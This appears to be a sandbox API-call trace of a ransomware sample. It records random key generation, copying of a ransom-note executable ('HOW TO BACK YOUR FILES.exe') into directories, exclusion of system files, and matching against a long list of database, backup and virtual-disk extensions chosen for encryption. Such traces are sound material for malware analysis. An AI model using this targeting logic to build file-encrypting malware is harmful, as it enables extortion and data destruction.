	[0062.511] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0062.512] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0062.512] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0062.512] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ee0, lpName=0x0) returned 0x154
	[0062.514] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ee0) returned 0x120000
	[0062.515] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf678) returned 1
	[0062.515] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0062.515] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0062.515] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0062.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0062.516] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0062.516] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0062.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0062.516] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0062.516] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0062.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0062.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0062.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0062.516] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0062.516] CloseHandle (hObject=0x154) returned 1
	[0062.516] CloseHandle (hObject=0xc0) returned 1
	[0062.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0062.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0062.516] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d53b830, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d53b830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.517] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.517] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d53b830, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d53b830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.517] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.517] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0062.517] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Synchronization Services", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services"
	[0062.517] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0062.517] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0062.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Synchronization Services") returned 51
	[0062.517] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Synchronization Services" | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services"
	[0062.517] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.517] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft synchronization services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.523] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d561990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d561990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.523] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.523] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.523] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.523] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d561990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d561990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.523] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.523] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.523] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.523] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.523] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1
	[0062.523] lstrcmpiW (lpString1="ADO.NET", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.523] lstrcmpiW (lpString1="ADO.NET", lpString2="Apollon865.txt.exe") returned -1
	[0062.524] lstrcmpiW (lpString1="ADO.NET", lpString2=".") returned 1
	[0062.524] lstrcmpiW (lpString1="ADO.NET", lpString2="..") returned 1
	[0062.524] lstrcmpiW (lpString1="ADO.NET", lpString2="windows") returned -1
	[0062.524] lstrcmpiW (lpString1="ADO.NET", lpString2="bootmgr") returned -1
	[0062.524] lstrcmpiW (lpString1="ADO.NET", lpString2="temp") returned -1
	[0062.524] lstrcmpiW (lpString1="ADO.NET", lpString2="pagefile.sys") returned -1
	[0062.524] lstrcmpiW (lpString1="ADO.NET", lpString2="boot") returned -1
	[0062.524] lstrcmpiW (lpString1="ADO.NET", lpString2="ids.txt") returned -1
	[0062.524] lstrcmpiW (lpString1="ADO.NET", lpString2="ntuser.dat") returned -1
	[0062.524] lstrcmpiW (lpString1="ADO.NET", lpString2="perflogs") returned -1
	[0062.524] lstrcmpiW (lpString1="ADO.NET", lpString2="MSBuild") returned -1
	[0062.524] lstrlenW (lpString="ADO.NET") returned 7
	[0062.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Synchronization Services\\*") returned 53
	[0062.524] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="ADO.NET" | out: lpString1="ADO.NET") returned="ADO.NET"
	[0062.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0062.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0062.524] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0062.524] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d561990, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d561990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.524] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.524] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16bd530, ftCreationTime.dwHighDateTime=0x1d516bc, ftLastAccessTime.dwLowDateTime=0xe7593220, ftLastAccessTime.dwHighDateTime=0x1d555bd, ftLastWriteTime.dwLowDateTime=0xe7593220, ftLastWriteTime.dwHighDateTime=0x1d555bd, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sentences-keen-dubai.exe", cAlternateFileName="SENTEN~1.EXE")) returned 1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="Apollon865.txt.exe") returned 1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2=".") returned 1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="..") returned 1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="windows") returned -1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="bootmgr") returned 1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="temp") returned -1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="pagefile.sys") returned 1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="boot") returned 1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="ids.txt") returned 1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="ntuser.dat") returned 1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="perflogs") returned 1
	[0062.524] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2="MSBuild") returned 1
	[0062.525] lstrlenW (lpString="sentences-keen-dubai.exe") returned 24
	[0062.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned 59
	[0062.525] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="sentences-keen-dubai.exe" | out: lpString1="sentences-keen-dubai.exe") returned="sentences-keen-dubai.exe"
	[0062.525] lstrlenW (lpString="sentences-keen-dubai.exe") returned 24
	[0062.525] lstrlenW (lpString="Apollon865") returned 10
	[0062.525] lstrcmpiW (lpString1="-dubai.exe", lpString2="Apollon865") returned 1
	[0062.525] lstrlenW (lpString=".dll") returned 4
	[0062.525] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2=".dll") returned 1
	[0062.525] lstrlenW (lpString=".lnk") returned 4
	[0062.525] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2=".lnk") returned 1
	[0062.525] lstrlenW (lpString=".ini") returned 4
	[0062.525] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2=".ini") returned 1
	[0062.525] lstrlenW (lpString=".sys") returned 4
	[0062.525] lstrcmpiW (lpString1="sentences-keen-dubai.exe", lpString2=".sys") returned 1
	[0062.525] lstrlenW (lpString="sentences-keen-dubai.exe") returned 24
	[0062.525] lstrlenW (lpString="bak") returned 3
	[0062.525] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0062.525] lstrlenW (lpString="ba_") returned 3
	[0062.525] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0062.525] lstrlenW (lpString="dbb") returned 3
	[0062.525] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0062.525] lstrlenW (lpString="vmdk") returned 4
	[0062.525] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0062.525] lstrlenW (lpString="rar") returned 3
	[0062.525] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0062.525] lstrlenW (lpString="zip") returned 3
	[0062.526] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0062.526] lstrlenW (lpString="tgz") returned 3
	[0062.526] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0062.526] lstrlenW (lpString="vbox") returned 4
	[0062.526] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0062.526] lstrlenW (lpString="vdi") returned 3
	[0062.526] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0062.526] lstrlenW (lpString="vhd") returned 3
	[0062.526] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0062.526] lstrlenW (lpString="vhdx") returned 4
	[0062.526] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0062.526] lstrlenW (lpString="avhd") returned 4
	[0062.526] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0062.526] lstrlenW (lpString="db") returned 2
	[0062.526] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0062.526] lstrlenW (lpString="db2") returned 3
	[0062.526] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0062.526] lstrlenW (lpString="db3") returned 3
	[0062.526] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0062.526] lstrlenW (lpString="dbf") returned 3
	[0062.526] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0062.526] lstrlenW (lpString="mdf") returned 3
	[0062.526] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0062.527] lstrlenW (lpString="mdb") returned 3
	[0062.527] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0062.527] lstrlenW (lpString="sql") returned 3
	[0062.527] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0062.527] lstrlenW (lpString="sqlite") returned 6
	[0062.527] lstrcmpiW (lpString1="ai.exe", lpString2="sqlite") returned -1
	[0062.527] lstrlenW (lpString="sqlite3") returned 7
	[0062.527] lstrcmpiW (lpString1="bai.exe", lpString2="sqlite3") returned -1
	[0062.527] lstrlenW (lpString="sqlitedb") returned 8
	[0062.527] lstrcmpiW (lpString1="ubai.exe", lpString2="sqlitedb") returned 1
	[0062.527] lstrlenW (lpString="xml") returned 3
	[0062.527] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0062.527] lstrlenW (lpString="$er") returned 3
	[0062.527] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0062.527] lstrlenW (lpString="4dd") returned 3
	[0062.527] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0062.527] lstrlenW (lpString="4dl") returned 3
	[0062.527] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0062.527] lstrlenW (lpString="^^^") returned 3
	[0062.527] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0062.527] lstrlenW (lpString="abs") returned 3
	[0062.527] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0062.527] lstrlenW (lpString="abx") returned 3
	[0062.527] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0062.527] lstrlenW (lpString="accdb") returned 5
	[0062.527] lstrcmpiW (lpString1="i.exe", lpString2="accdb") returned 1
	[0062.527] lstrlenW (lpString="accdc") returned 5
	[0062.527] lstrcmpiW (lpString1="i.exe", lpString2="accdc") returned 1
	[0062.527] lstrlenW (lpString="accde") returned 5
	[0062.527] lstrcmpiW (lpString1="i.exe", lpString2="accde") returned 1
	[0062.527] lstrlenW (lpString="accdr") returned 5
	[0062.527] lstrcmpiW (lpString1="i.exe", lpString2="accdr") returned 1
	[0062.527] lstrlenW (lpString="accdt") returned 5
	[0062.527] lstrcmpiW (lpString1="i.exe", lpString2="accdt") returned 1
	[0062.527] lstrlenW (lpString="accdw") returned 5
	[0062.528] lstrcmpiW (lpString1="i.exe", lpString2="accdw") returned 1
	[0062.528] lstrlenW (lpString="accft") returned 5
	[0062.528] lstrcmpiW (lpString1="i.exe", lpString2="accft") returned 1
	[0062.528] lstrlenW (lpString="adb") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0062.528] lstrlenW (lpString="adb") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0062.528] lstrlenW (lpString="ade") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0062.528] lstrlenW (lpString="adf") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0062.528] lstrlenW (lpString="adn") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0062.528] lstrlenW (lpString="adp") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0062.528] lstrlenW (lpString="alf") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0062.528] lstrlenW (lpString="ask") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0062.528] lstrlenW (lpString="btr") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0062.528] lstrlenW (lpString="cat") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0062.528] lstrlenW (lpString="cdb") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0062.528] lstrlenW (lpString="ckp") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0062.528] lstrlenW (lpString="cma") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0062.528] lstrlenW (lpString="cpd") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0062.528] lstrlenW (lpString="dacpac") returned 6
	[0062.528] lstrcmpiW (lpString1="ai.exe", lpString2="dacpac") returned -1
	[0062.528] lstrlenW (lpString="dad") returned 3
	[0062.528] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0062.528] lstrlenW (lpString="dadiagrams") returned 10
	[0062.529] lstrcmpiW (lpString1="-dubai.exe", lpString2="dadiagrams") returned 1
	[0062.529] lstrlenW (lpString="daschema") returned 8
	[0062.529] lstrcmpiW (lpString1="ubai.exe", lpString2="daschema") returned 1
	[0062.529] lstrlenW (lpString="db-journal") returned 10
	[0062.529] lstrcmpiW (lpString1="-dubai.exe", lpString2="db-journal") returned 1
	[0062.529] lstrlenW (lpString="db-shm") returned 6
	[0062.529] lstrcmpiW (lpString1="ai.exe", lpString2="db-shm") returned -1
	[0062.529] lstrlenW (lpString="db-wal") returned 6
	[0062.529] lstrcmpiW (lpString1="ai.exe", lpString2="db-wal") returned -1
	[0062.529] lstrlenW (lpString="dbc") returned 3
	[0062.529] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0062.529] lstrlenW (lpString="dbs") returned 3
	[0062.529] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0062.529] lstrlenW (lpString="dbt") returned 3
	[0062.529] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0062.529] lstrlenW (lpString="dbv") returned 3
	[0062.529] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0062.529] lstrlenW (lpString="dbx") returned 3
	[0062.529] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0062.529] lstrlenW (lpString="dcb") returned 3
	[0062.529] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0062.529] lstrlenW (lpString="dct") returned 3
	[0062.529] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1
	[0062.529] lstrlenW (lpString="dcx") returned 3
	[0062.529] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1
	[0062.529] lstrlenW (lpString="ddl") returned 3
	[0062.529] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1
	[0062.529] lstrlenW (lpString="dlis") returned 4
	[0062.529] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1
	[0062.529] lstrlenW (lpString="dp1") returned 3
	[0062.529] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1
	[0062.529] lstrlenW (lpString="dqy") returned 3
	[0062.529] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1
	[0062.529] lstrlenW (lpString="dsk") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1
	[0062.530] lstrlenW (lpString="dsn") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1
	[0062.530] lstrlenW (lpString="dtsx") returned 4
	[0062.530] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1
	[0062.530] lstrlenW (lpString="dxl") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1
	[0062.530] lstrlenW (lpString="eco") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1
	[0062.530] lstrlenW (lpString="ecx") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1
	[0062.530] lstrlenW (lpString="edb") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1
	[0062.530] lstrlenW (lpString="epim") returned 4
	[0062.530] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1
	[0062.530] lstrlenW (lpString="fcd") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1
	[0062.530] lstrlenW (lpString="fdb") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1
	[0062.530] lstrlenW (lpString="fic") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1
	[0062.530] lstrlenW (lpString="flexolibrary") returned 12
	[0062.530] lstrcmpiW (lpString1="en-dubai.exe", lpString2="flexolibrary") returned -1
	[0062.530] lstrlenW (lpString="fm5") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1
	[0062.530] lstrlenW (lpString="fmp") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1
	[0062.530] lstrlenW (lpString="fmp12") returned 5
	[0062.530] lstrcmpiW (lpString1="i.exe", lpString2="fmp12") returned 1
	[0062.530] lstrlenW (lpString="fmpsl") returned 5
	[0062.530] lstrcmpiW (lpString1="i.exe", lpString2="fmpsl") returned 1
	[0062.530] lstrlenW (lpString="fol") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1
	[0062.530] lstrlenW (lpString="fp3") returned 3
	[0062.530] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1
	[0062.531] lstrlenW (lpString="fp4") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1
	[0062.531] lstrlenW (lpString="fp5") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1
	[0062.531] lstrlenW (lpString="fp7") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1
	[0062.531] lstrlenW (lpString="fpt") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1
	[0062.531] lstrlenW (lpString="frm") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1
	[0062.531] lstrlenW (lpString="gdb") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0062.531] lstrlenW (lpString="gdb") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0062.531] lstrlenW (lpString="grdb") returned 4
	[0062.531] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1
	[0062.531] lstrlenW (lpString="gwi") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1
	[0062.531] lstrlenW (lpString="hdb") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1
	[0062.531] lstrlenW (lpString="his") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="his") returned -1
	[0062.531] lstrlenW (lpString="ib") returned 2
	[0062.531] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1
	[0062.531] lstrlenW (lpString="idb") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1
	[0062.531] lstrlenW (lpString="ihx") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1
	[0062.531] lstrlenW (lpString="itdb") returned 4
	[0062.531] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1
	[0062.531] lstrlenW (lpString="itw") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1
	[0062.531] lstrlenW (lpString="jet") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1
	[0062.531] lstrlenW (lpString="jtx") returned 3
	[0062.531] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1
	[0062.532] lstrlenW (lpString="kdb") returned 3
	[0062.532] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1
	[0062.532] lstrlenW (lpString="kexi") returned 4
	[0062.532] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1
	[0062.532] lstrlenW (lpString="kexic") returned 5
	[0062.532] lstrcmpiW (lpString1="i.exe", lpString2="kexic") returned -1
	[0062.532] lstrlenW (lpString="kexis") returned 5
	[0062.532] lstrcmpiW (lpString1="i.exe", lpString2="kexis") returned -1
	[0062.532] lstrlenW (lpString="lgc") returned 3
	[0062.532] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1
	[0062.532] lstrlenW (lpString="lwx") returned 3
	[0062.532] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1
	[0062.532] lstrlenW (lpString="maf") returned 3
	[0062.532] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1
	[0062.532] lstrlenW (lpString="maq") returned 3
	[0062.532] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1
	[0062.532] lstrlenW (lpString="mar") returned 3
	[0062.532] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1
	[0062.532] lstrlenW (lpString="marshal") returned 7
	[0062.532] lstrcmpiW (lpString1="bai.exe", lpString2="marshal") returned -1
	[0062.532] lstrlenW (lpString="mas") returned 3
	[0062.532] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1
	[0062.532] lstrlenW (lpString="mav") returned 3
